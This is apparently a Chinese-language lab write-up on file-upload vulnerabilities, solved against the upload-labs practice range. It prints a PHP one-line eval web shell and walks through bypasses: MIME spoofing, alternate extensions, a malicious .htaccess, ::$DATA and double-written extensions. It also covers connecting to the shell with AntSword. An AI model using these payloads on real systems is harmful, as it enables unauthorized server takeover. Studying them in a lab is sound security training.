一、概述
文件上传漏洞可以说是日常渗透测试中用得最多的一个漏洞,用它获得服务器权限最快最直接。在web程序中,经常需要用到文件上传的功能。如用户或者管理员上传图片,或者其它文件。如果没有限制上传类型或者限制不严格被绕过,就有可能造成文件上传漏洞。如果上传了可执行文件或者网页脚本,就会导致网站被控制基至服务器论陷。,复杂一点的情况是配合webserver的解析漏洞来获取控制权或结合文件包含漏洞。
靶场搭建
github地址:https://github.com/c0ny1/upload-labs
下载解压完整后,放入Apache服务www根目录中
访问网址:http://localhost/upload-labs/
二、文件上传前端检测绕过
漏洞利用方式
一句话木马
<?php @eval($_POST['cmd']);?>
前端检测绕过-Pass-01
- 分析
- 使用JS进行编写
- 文件验证代码编写在前端
- 上传一句话木马
- 步骤:编写好一句话木马文件,现将木马修改为可以验证通过的文件文件格式,在进行抓包。
- 修改前:
- 修改后并放行
- 访问地址:http://10.196.93.67/upload-labs/upload/3.php
- 使用中国蚂剑连接webShell
- 打开软件》鼠标右键添加数据》输入信息》点击添加
- 连接成功
三、文件上传mime类型检测绕过
简介
常见的mime类型对比网址:https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Common_types
示例:Pass-02
- 分析
- 第二关可以采用第一关方法进行获取webshell
- 第二关主要是后端的mime类型验证,并没有进行前端验证
- 通关方法:通过抓包获取到后端的mime类型,将其修改为自己想要的格式既可。
- 步骤:
- 先将a.php中包含的一句话木马上传的服务中,并抓包
- 修改Content-Type值为服务器需要的值既可。
四、黑名单绕过
说明
黑名单通常是在后端中定义了一个文件类型的数组,当用户上传文件后,后端会将上传的文件名进行过滤和格式化等操作,最后判断文件名后缀是否存在于文件后缀中,若存在则限制上传。
# 示例代码
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array('.asp','.aspx','.php','.jsp');$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if(!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
?>
示例:Pass-3
- 修改Apache的配置文件:httpd.conf,并重启服务
AddType application/x-httpd-php .php .phtml .php3 .php3
- 绕过方式:将上传的木马文件后缀修改为以前老版本可以识别(大概率成功)。如(php3,php4,phtml…)
- 验证
- 文件路径:http://10.196.93.67/upload-labs/upload/202406210044594306.php3
五、.htaccess绕过
简介
.htaccess是一个配置文件,用于运行Apache网络服务器软件的网络服务器上。当.htaccess文件被放置在一个 "通过Apache Web服务器加载 "的目录中时,.htaccess文件会被Apache Web服务器软件检测并执行。这些.htaccess文件可以用来改变Apache Web服务器软件的配置,以启用/禁用Apache Web服务器软件所提供的额外功能和特性。
示例:Pass-4
- 创建一个.htaccess文件并编写内容
# AddType application/x-httpd-php .php .phtml .php3 .php3# 表示: 将jpg文件当做php文件解析
AddType application/x-httpd-php .jpg
- 第一步上传.htaccess文件
- 第二步上传包含一句话木马的jpg文件
- 验证
- 文件地址:http://10.196.93.67/upload-labs/upload/3.jpg
六、空格绕过
示例:Pass-6
操作步骤:
- 第一步:在本地创建一个a.php 的文件
- 第二步:正常上上传并抓包
- 正常结果:
- 添加空格
- 添加空格
七、::$data绕过
介绍
在普通情况下,我们使用的文件只有一个默认的数据流,可以通过文件名访问。但是,在windows NT文件系统(NTFS)支持在文件内部创建额外的数据流,以存储其他信息。这些额外的数据流可以通过在文件名后面添加::$DATA来访问。
示例:Pass-8
八、点空点绕过
猜测后端只过滤一次,所以多写一次注入文件,从而达到需要效果。
示例:Pass-9
九、双写绕过
函数讲解
str_ireplace(['php'],"","pphphp")
# 结果:php
示例:Pass-10
上传将php后缀修改为:pphphp既可。